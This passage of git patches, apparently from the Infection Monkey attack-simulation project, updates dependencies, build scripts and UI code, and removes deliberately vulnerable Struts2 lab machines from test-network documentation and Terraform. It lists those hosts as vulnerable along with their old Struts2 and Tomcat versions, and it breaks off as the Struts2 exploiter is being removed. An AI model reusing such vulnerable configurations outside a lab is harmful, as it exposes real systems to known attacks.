"bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } + }, "string-width": { "version": "2.1.1", "bundled": true, @@ -9917,14 +28088,6 @@ } } }, - "string_decoder": { - "version": "1.3.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "stringify-package": { "version": "1.0.1", "bundled": true, @@ -10507,8 +28670,7 @@ "picocolors": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", - "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", - "dev": true + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==" }, "picomatch": { "version": "2.3.0", @@ -10706,7 +28868,8 @@ "version": "0.36.2", "resolved": "https://registry.npmjs.org/postcss-syntax/-/postcss-syntax-0.36.2.tgz", "integrity": "sha512-nBRg/i7E3SOHWxF3PpF5WnJM/jQ1YpY9000OaVXlAQj6Zp/kIqJxEDWIZ67tAd7NLuk7zqN4yqe9nc0oNAOs1w==", - "dev": true + "dev": true, + "requires": {} }, "postcss-value-parser": { "version": "4.1.0", @@ -10910,7 +29073,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, "requires": { "safe-buffer": "^5.1.0" } @@ -10964,7 +29126,8 @@ "version": "15.6.2", "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", - "dev": true + "dev": true, + "requires": {} }, "react-base16-styling": { "version": "0.7.0", @@ -11081,7 +29244,8 @@ "react-filepond": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", - "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==" + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==", + "requires": {} }, "react-graph-vis": { "version": "1.0.7", @@ -11270,14 +29434,6 @@ "prop-types": "^15.7.2" } }, - "react-toggle": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.2.tgz", - "integrity": "sha512-4Ohw31TuYQdhWfA6qlKafeXx3IOH7t4ZHhmRdwsm1fQREwOBGxJT+I22sgHqR/w8JRdk+AeMCJXPImEFSrNXow==", - "requires": { - "classnames": "^2.2.5" - } - }, "react-tooltip-lite": { "version": "1.12.0", "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.12.0.tgz", @@ -11872,7 +30028,6 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", - "dev": true, "requires": { "randombytes": "^2.1.0" } @@ -12105,7 +30260,8 @@ "ajv-keywords": { "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "requires": {} }, "iconv-lite": { "version": "0.6.2", @@ -12154,7 +30310,6 @@ "version": "0.5.20", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", - "dev": true, "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" @@ -12163,8 +30318,7 @@ "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, @@ -12258,6 +30412,15 @@ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, "string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", @@ -12328,15 +30491,6 @@ "define-properties": "^1.1.3" } }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, "strip-ansi": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", @@ -12732,7 +30886,6 @@ "version": "5.9.0", "resolved": "https://registry.npmjs.org/terser/-/terser-5.9.0.tgz", "integrity": "sha512-h5hxa23sCdpzcye/7b8YqbE5OwKca/ni0RQz1uRX3tGh8haaGHqcuSqbGRybuAKNdntZ0mDgFNXPJ48xQ2RXKQ==", - "dev": true, "requires": { "commander": "^2.20.0", "source-map": "~0.7.2", @@ -12742,8 +30895,7 @@ "source-map": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", - "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", - "dev": true + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==" } } }, @@ -12751,7 +30903,6 @@ "version": "5.2.4", "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", - "dev": true, "requires": { "jest-worker": "^27.0.6", "p-limit": "^3.1.0", @@ -12764,14 +30915,12 @@ "@types/json-schema": { "version": "7.0.9", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==" }, "ajv": { "version": "6.12.6", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, "requires": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", @@ -12783,13 +30932,12 @@ "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "requires": {} }, "p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, "requires": { "yocto-queue": "^0.1.0" } @@ -12798,7 +30946,6 @@ "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, "requires": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", @@ -12808,8 +30955,7 @@ "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, @@ -13314,12 +31460,14 @@ "vis-data": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", - "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==" + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==", + "requires": {} }, "vis-network": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.0.tgz", - "integrity": "sha512-rx96L144RJWcqOa6afjiFyxZKUerRRbT/YaNMpsusHdwzxrVTO2LlduR45PeJDEztrAf3AU5l2zmiG+1ydUZCw==" + "integrity": "sha512-rx96L144RJWcqOa6afjiFyxZKUerRRbT/YaNMpsusHdwzxrVTO2LlduR45PeJDEztrAf3AU5l2zmiG+1ydUZCw==", + "requires": {} }, "warning": { "version": "4.0.3", @@ -13333,7 +31481,6 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz", "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==", - "dev": true, "requires": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" @@ -13352,7 +31499,6 @@ "version": "5.58.0", "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.58.0.tgz", "integrity": "sha512-xc2k5MLbR1iah24Z5xUm1nBh1PZXEdUnrX6YkTSOScq/VWbl5JCLREXJzGYqEAUbIO8tZI+Dzv82lGtnuUnVCQ==", - "dev": true, "requires": { "@types/eslint-scope": "^3.7.0", "@types/estree": "^0.0.50", @@ -13383,20 +31529,17 @@ "@types/json-schema": { "version": "7.0.9", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==" }, "acorn": { "version": "8.5.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", - "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", - "dev": true + "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==" }, "ajv": { "version": "6.12.6", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, "requires": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", @@ -13408,13 +31551,12 @@ "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "requires": {} }, "enhanced-resolve": { "version": "5.8.3", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.3.tgz", "integrity": "sha512-EGAbGvH7j7Xt2nc0E7D99La1OiEs8LnyimkRgwExpUMScN6O+3x9tIWs7PLQZVNx4YD+00skHXPXi1yQHpAmZA==", - "dev": true, "requires": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" @@ -13424,7 +31566,6 @@ "version": "5.1.1", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", - "dev": true, "requires": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" @@ -13434,7 +31575,6 @@ "version": "4.3.0", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, "requires": { "estraverse": "^5.2.0" }, @@ -13442,22 +31582,19 @@ "estraverse": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", - "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", - "dev": true + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==" } } }, "neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", - "dev": true + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" }, "schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, "requires": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", @@ -13467,8 +31604,7 @@ "tapable": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", - "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", - "dev": true + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==" } } }, @@ -13542,7 +31678,8 @@ "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "dev": true, + "requires": {} }, "schema-utils": { "version": "3.1.1", @@ -13612,7 +31749,8 @@ "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "dev": true, + "requires": {} }, "ansi-regex": { "version": "6.0.1", @@ -13661,8 +31799,7 @@ "webpack-sources": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.1.tgz", - "integrity": "sha512-t6BMVLQ0AkjBOoRTZgqrWm7xbXMBzD+XDq2EZ96+vMfn3qKgsvdXZhbPZ4ElUOpdv4u+iiGe+w3+J75iy/bYGA==", - "dev": true + "integrity": "sha512-t6BMVLQ0AkjBOoRTZgqrWm7xbXMBzD+XDq2EZ96+vMfn3qKgsvdXZhbPZ4ElUOpdv4u+iiGe+w3+J75iy/bYGA==" }, "websocket-driver": { "version": "0.7.4", @@ -13756,7 +31893,8 @@ "version": "8.2.3", "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", - "dev": true + "dev": true, + "requires": {} }, "xtend": { "version": "4.0.2", @@ -13784,8 +31922,7 @@ "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==" }, "zwitch": { "version": "1.0.5", From 84fe47a9e50781c60edb2d8f417bdfe7d43a0a9a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 11:36:55 +0300 Subject: [PATCH 1002/1110] Deploy: Change node version for linux based builds --- build_scripts/build_package.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index e787fdd35..aee36de6a 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -1,7 +1,7 @@ WORKSPACE=${WORKSPACE:-$HOME} DEFAULT_REPO_MONKEY_HOME=$WORKSPACE/git/monkey MONKEY_ORIGIN_URL="https://github.com/guardicore/monkey.git" -NODE_SRC=https://deb.nodesource.com/setup_12.x +NODE_SRC=https://deb.nodesource.com/setup_16.x BUILD_SCRIPTS_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" DIST_DIR="$BUILD_SCRIPTS_DIR/dist" From cb18f823b14721b3f2c91b27c03b09c72a058623 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 16:22:28 +0300 Subject: [PATCH 1003/1110] UI: Move to "react-tsparticles" react-particles-js got deprecated --- monkey/monkey_island/cc/ui/package.json | 2 +- .../ui-components/ParticleBackground.js | 4 +-- .../ParticleBackgroundParams.js | 36 ++++++++++--------- 3 files changed, 22 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 5f13c1e8a..e6b416cbb 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -106,12 +106,12 @@ "react-hot-loader": "^4.13.0", "react-json-tree": "^0.12.1", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.5.3", "react-redux": "^5.1.2", "react-router-dom": "^5.3.0", "react-spinners": "^0.9.0", "react-table": "^6.10.3", "react-tooltip-lite": "^1.12.0", + "react-tsparticles": "^1.42.4", "redux": "^4.1.1", "sha3": "^2.1.4", "source-map-loader": "^1.1.2", diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js index 23d607311..97407293a 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js @@ -1,7 +1,7 @@ -import Particles from 'react-particles-js'; +import Particles from "react-tsparticles"; import {particleParams} from '../../styles/components/particle-component/ParticleBackgroundParams'; import React from 'react'; export default function ParticleBackground() { - return (); + return (); } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js index 525f1cb71..0eb3d63d0 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js +++ b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js @@ -1,18 +1,20 @@ export const particleParams = { - particles: { - color: { - value: '#2b2b2b' - }, - line_linked: { - color: { - value: '#555555' - } - }, - number: { - value: 150 - }, - size: { - value: 3 - } - } - } + "fps_limit": 60, + "particles": { + "color": {"value": "#646464"}, + "links": {"color": "#555555", "distance": 150, "enable": true, "opacity": 0.4, "width": 1}, + "move": { + "bounce": false, + "direction": "none", + "enable": true, + "outMode": "out", + "random": false, + "speed": 2, + "straight": false + }, + "number": {"density": {"enable": true, "area": 800}, "value": 50}, + "shape": {"type": "circle"}, + "size": {"value": 3} + }, + "detectRetina": true +} From dd910dc76acbc7f1e2bfcd9c73e044b0bb5e290d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 17:18:55 +0300 Subject: [PATCH 1004/1110] UI: Remove file-loader and url-loader These loaders got replaced by webpack asset modules: https://webpack.js.org/guides/asset-modules/ --- monkey/monkey_island/cc/ui/package.json | 2 -- monkey/monkey_island/cc/ui/webpack.config.js | 12 +++--------- 2 files changed, 3 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index e6b416cbb..65d3e03d3 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -45,7 +45,6 @@ "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", - "file-loader": "^1.1.11", "glob": "^7.2.0", "html-loader": "^0.5.5", "html-webpack-plugin": "^5.3.2", @@ -61,7 +60,6 @@ "stylelint": "^13.13.1", "ts-loader": "^8.3.0", "typescript": "^4.4.3", - "url-loader": "^1.1.2", "webpack": "^5.58.0", "webpack-cli": "^4.9.0", "webpack-dev-server": "^4.3.1" diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index c820b5fd5..3f42cb3aa 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -35,21 +35,15 @@ module.exports = { }, { test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, - use: { - loader: 'file-loader' - } + type: 'asset/resource' }, { test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, - use: { - loader: 'url-loader?limit=10000&mimetype=application/font-woff' - } + type: 'asset' }, { test: /\.(png|jpg|gif)$/, - use: { - loader: 'url-loader?limit=8192' - } + type: 'asset' }, { test: /\.html$/, From d0124b4c34020af3920fbded0af228a3e0ab79ab Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 17:21:17 +0300 Subject: [PATCH 1005/1110] UI: Remove react-addons-test-utils UI package was not used and not compatible with webpack 5.58.0 --- monkey/monkey_island/cc/ui/package.json | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 65d3e03d3..76cd42cae 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -51,7 +51,6 @@ "minimist": "^1.2.5", "npm": "^7.24.2", "null-loader": "^0.1.1", - "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", "sass": "^1.42.1", "sass-loader": "^7.3.1", From 3f3e86bcce368a7986408312c59b2da10e186b64 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 4 Apr 2022 11:35:59 +0200 Subject: [PATCH 1006/1110] Island: Add maximum kill time to kill all monkeys modal window --- monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index d24756978..2686cdc19 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -103,7 +103,7 @@ class MapPageComponent extends AuthComponent {
    Are you sure you want to kill all monkeys?

    - This might take a few moments... + This might take up to 2 minutes...

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 23 Struts2

    -

    (10.2.2.23)

    (Vulnerable)
    OS:Ubuntu 16.04.05 x64
    Software:

    JDK,

    -

    struts2 2.3.15.1,

    -

    tomcat 9.0.0.M9

    Default server’s port:8080
    Server’s config:Default
    Notes:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 24 Struts2

    -

    (10.2.2.24)

    (Vulnerable)
    OS:Windows 10 x64
    Software:

    JDK,

    -

    struts2 2.3.15.1,

    -

    tomcat 9.0.0.M9

    Default server’s port:8080
    Server’s config:Default
    Notes:
    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index f74f0b7d9..67610ef6c 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -99,14 +99,6 @@ data "google_compute_image" "scan-22" { name = "scan-22" project = local.monkeyzoo_project } -data "google_compute_image" "struts2-23" { - name = "struts2-23" - project = local.monkeyzoo_project -} -data "google_compute_image" "struts2-24" { - name = "struts2-24" - project = local.monkeyzoo_project -} data "google_compute_image" "zerologon-25" { name = "zerologon-25" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 73ea338b3..a5ea82d06 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -480,36 +480,6 @@ resource "google_compute_instance_from_template" "scan-22" { } } -resource "google_compute_instance_from_template" "struts2-23" { - name = "${local.resource_prefix}struts2-23" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.struts2-23.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.23" - } -} - -resource "google_compute_instance_from_template" "struts2-24" { - name = "${local.resource_prefix}struts2-24" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.struts2-24.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.24" - } -} - resource "google_compute_instance_from_template" "zerologon-25" { name = "${local.resource_prefix}zerologon-25" source_instance_template = local.default_windows From 84ab94acc1360e3d26af5f410bca3a780a1f2a0f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 12:17:26 +0200 Subject: [PATCH 1053/1110] Island: Remove Struts2 exploiter --- .../cc/services/config_schema/basic.py | 1 - .../definitions/exploiter_classes.py | 9 ------- .../cc/services/reporting/aws_exporter.py | 19 -------------- .../exploiter_descriptor_enum.py | 1 - .../report-components/SecurityReport.js | 6 ----- .../security/issues/Struts2Issue.js | 26 ------------------- 6 files changed, 62 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py 